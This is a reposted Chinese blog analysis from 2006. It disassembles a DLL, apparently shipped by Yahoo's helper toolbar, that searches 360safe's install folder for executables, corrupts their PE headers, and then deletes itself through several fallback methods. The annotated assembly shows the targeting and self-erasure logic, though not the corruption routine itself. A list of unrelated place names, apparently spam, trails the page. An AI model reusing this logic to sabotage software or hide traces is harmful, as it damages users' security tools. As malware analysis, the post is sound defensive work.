emu in blogjava

            BlogJava :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理 ::
            171 隨筆 :: 103 文章 :: 1052 評(píng)論 :: 2 Trackbacks

          原文鏈接 http://www.cnbeta.com/modules.php?name=News&file=article&sid=16531

          Yahoo上網(wǎng)助手自殺式破壞360safe的程序代碼分析

          Yahoo新聞主題 MJ0011原創(chuàng) 轉(zhuǎn)載注明哦!
          =================================
          注意:此文為技術(shù)分析,不帶任何偏向立場(chǎng)
          由本文反匯編某廠商的病毒文件或曰惡意競(jìng)爭(zhēng)文件而導(dǎo)致的任何法律問題,本人一概不負(fù)責(zé)
          =================================


          看到剛才有朋友投遞的
          獨(dú)家!觸目驚心:記雅虎對(duì)360安全衛(wèi)士的自殺式攻擊程序
          http://www.cnbeta.com/modules.php?name=News&file=article&sid=16527

          我將文中那個(gè)cab文件download了下來 解壓得patch34.dll(內(nèi)部名稱是patch33.dll,看來升級(jí)得太快,程序員連版本信息也沒改就發(fā)布了)

          使用反匯編工具ida 5.0,發(fā)現(xiàn)了一些有意思的東西,現(xiàn)摘錄如下:
          我自己加了一些注釋

          ; Exported entry?? 1. DllRegisterServer
          ;DLL注冊(cè)時(shí)要干下面的事


          ; HRESULT DllRegisterServer(void)
          public DllRegisterServer
          DllRegisterServer proc near
          push??? offset s_360safe ; "360safe"
          ;呵呵,這是要干嘛呢?
          call??? sub_10001477--->去調(diào)用這個(gè)子程序
          pop???? ecx
          push??? hModule???????? ; hModule
          call??? sub_10001291
          push??? 1
          pop???? eax
          retn
          DllRegisterServer endp


          下面來看push了360safe后 sub_10001477這個(gè)子程序干嘛去了


          ; Attributes: bp-based frame

          sub_10001477 proc near

          FindFileData= _WIN32_FIND_DATAA?ptr -350h
          pvData=?dword ptr -210h
          FileName= byte ptr -10Ch
          pdwType= dword ptr -8
          pcbData= dword ptr -4
          arg_0= dword ptr? 8
          ;此處arg_0就是剛才被push的/360safe


          push?ebp
          mov?ebp, esp
          sub?esp, 350h
          and?byte ptr [ebp+pvData], 0
          push?esi
          push?edi
          push?40h
          pop?ecx
          xor?eax, eax
          lea?edi, [ebp+pvData+1]
          and?[ebp+FileName],?0
          rep stosd
          stosw
          stosb
          push?40h
          xor?eax, eax
          pop?ecx
          lea?edi, [ebp-10Bh]
          rep stosd
          stosw
          stosb
          lea?eax, [ebp+pcbData]
          mov?esi, 103h
          push?eax??; pcbData
          lea?eax, [ebp+pvData]
          push?eax??; pvData
          lea?eax, [ebp+pdwType]
          push?eax??; pdwType
          push?offset pszValue?; "ProgramFilesDir"

          ;push要取的注冊(cè)表鍵值

          push?offset pszSubKey ; "'SOFTWAREMicrosoftWindowsCurrentVersion"

          ;push子鍵值

          push?80000002h?; hkey
          mov?[ebp+pcbData], esi
          mov?[ebp+pdwType], 1
          call?ds:SHGetValueA

          ;獲得SOFTWAREMicrosoftWindowsCurrentVersionProgramFilesDir這個(gè)注冊(cè)表鍵的內(nèi)容
          ;其實(shí)也就是系統(tǒng)程序文件夾的位置

          push?[ebp+arg_0]

          ;將獲得的程序文件夾位置+arg_0(360safe)
          ;得到360safe安裝文件夾地址


          lea?eax, [ebp+pvData]
          push?eax
          push?offset s_SS_exe?; "%s%s*.exe"
          lea?eax, [ebp+FileName]
          push?esi??; size_t
          push?eax??; char *
          call?__snprintf
          and?[ebp+FindFileData.dwFileAttributes], 0

          ;查找360安裝目錄下所有*.exe文件

          add?esp, 14h
          xor?eax, eax
          lea?edi, [ebp+FindFileData.ftCreationTime]
          push?4Fh
          pop?ecx
          rep stosd
          lea?eax, [ebp+FindFileData]
          push?eax??; lpFindFileData
          lea?eax, [ebp+FileName]
          push?eax??; lpFileName
          call?ds:FindFirstFileA
          mov?edi, eax
          cmp?edi, 0FFFFFFFFh
          jz?short loc_10001579

          ;此處為查找文件的循環(huán)判斷

          loc_10001531:
          lea?eax, [ebp+FindFileData.cFileName]
          push?eax
          lea?eax, [ebp+pvData]
          push?[ebp+arg_0]
          push?eax
          push?offset s_SSS?; "%s%s%s"
          lea?eax, [ebp+FileName]
          push?esi??; size_t
          push?eax??; char *
          call?__snprintf
          lea?eax, [ebp+FileName]
          push?eax??; char *
          call?sub_100013F7

          ;如果找到了.exe文件,那么開始對(duì)其進(jìn)行破壞
          ;sub_10013f7這個(gè)子程序的作用是破壞給定的EXE文件
          ;時(shí)間關(guān)系不列出代碼了
          ;說一下大概流程
          ;將push入的文件路徑用r+模式打開,然后自己判斷pe相關(guān)信息,最后寫入破壞后的pe結(jié)構(gòu),導(dǎo)致exe文件無法執(zhí)行,提示非可執(zhí)行文件


          add?esp, 1Ch
          lea?eax, [ebp+FindFileData]
          push?eax??; lpFindFileData
          push?edi??; hFindFile
          call?ds:FindNextFileA
          test?eax, eax
          jnz?short loc_10001531
          test?edi, edi
          jz?short loc_10001580

          loc_10001579:??; hFindFile
          push?edi
          call?ds:FindClose

          loc_10001580:
          pop?edi
          pop?esi
          leave
          retn
          sub_10001477 endp


          完成對(duì)360safe的可執(zhí)行程序破壞后
          開始執(zhí)行
          push??? hModule???????? ; hModule
          call??? sub_10001291

          在 sub_10001291中

          該dll將利用rundll32.exe將自己加載為一個(gè)進(jìn)程執(zhí)行
          并進(jìn)行自毀,自毀代碼如下:(參數(shù)為自己的dll名)


          ; int __cdecl sub_1000102E(LPCSTR lpExistingFileName,char)
          sub_1000102E proc near

          lpExistingFileName= dword ptr? 4
          arg_4= byte ptr? 8

          cmp?[esp+arg_4], 0
          jnz?short loc_1000104F
          push?[esp+lpExistingFileName] ; lpFileName
          call?ds:DeleteFileA

          ;;首先執(zhí)行delete file
          ;;如果失敗則跑到loc_10001047
          ;;成功則返回

          cmp?eax, 1
          jnz?short loc_10001047
          xor?eax, eax
          retn

          loc_10001047:
          call?ds:GetLastError
          jmp?short loc_10001052

          loc_1000104F:
          push?5
          pop?eax

          loc_10001052:
          cmp?eax, 5
          jz?short loc_10001060
          cmp?eax, 20h
          jz?short loc_10001060
          push?1
          jmp?short loc_10001079

          ;;使用win32下強(qiáng)大滴移除文件函數(shù)MoveFileExA對(duì)自己進(jìn)行刪除
          ;;不信自殺不了了我

          loc_10001060:
          call?sub_10001000
          test?eax, eax
          jz?short loc_1000107B
          push?4??; dwFlags
          push?0??; lpNewFileName
          push?[esp+8+lpExistingFileName] ; lpExistingFileName
          call?ds:MoveFileExA
          push?2

          loc_10001079:
          pop?eax
          retn

          loc_1000107B:
          push?0
          push?[esp+4+lpExistingFileName]
          call?sub_10001093

          ;;靠,還刪不掉
          ;;我把自己寫到wininit.ini里的rename里去,重啟后自動(dòng)刪除
          ;;可一定要?dú)瑴幺E呀!


          pop?ecx
          pop?ecx
          xor?ecx, ecx
          test?eax, eax
          setnz?cl
          inc?ecx
          mov?eax, ecx
          retn
          sub_1000102E endp

          綜上,這個(gè)dll做的事主要就是干掉360SAFE的所有可執(zhí)行文件,然后自毀

          呵呵,真是殺人不留痕呀

          MJ0011原創(chuàng) 轉(zhuǎn)載注明哦
          posted on 2006-11-08 10:34 emu 閱讀(1412) 評(píng)論(1)  編輯  收藏

          評(píng)論

          # re: 觸目驚心:記雅虎對(duì)360安全衛(wèi)士的自殺式攻擊程序 2006-11-09 01:58 emu
          注:該惡意插件已經(jīng)毀尸滅跡了,不過360的技術(shù)人員(emu從下載地址中猜測(cè)的)在發(fā)現(xiàn)該插件的時(shí)候做了個(gè)很漂亮的屏幕錄制,帥啊:

          http://dl.360safe.com/yahoo-kill.rar

          雅虎助手,你這么下作,能怪別人說你是流氓嗎?
            回復(fù)  更多評(píng)論
            


          只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。


          網(wǎng)站導(dǎo)航:
           
          主站蜘蛛池模板: 宣汉县| 甘孜| 九寨沟县| 兰西县| 涿州市| 南和县| 泗洪县| 临桂县| 北川| 兰西县| 英山县| 万荣县| 宁陵县| 新巴尔虎左旗| 东莞市| 秦安县| 玉田县| 枞阳县| 长子县| 达日县| 东丽区| 博湖县| 广灵县| 甘肃省| 彰化市| 嫩江县| 金沙县| 望江县| 红河县| 额济纳旗| 鄂伦春自治旗| 大安市| 通道| 方正县| 大竹县| 肃南| 灵丘县| 萝北县| 崇义县| 开化县| 遂平县|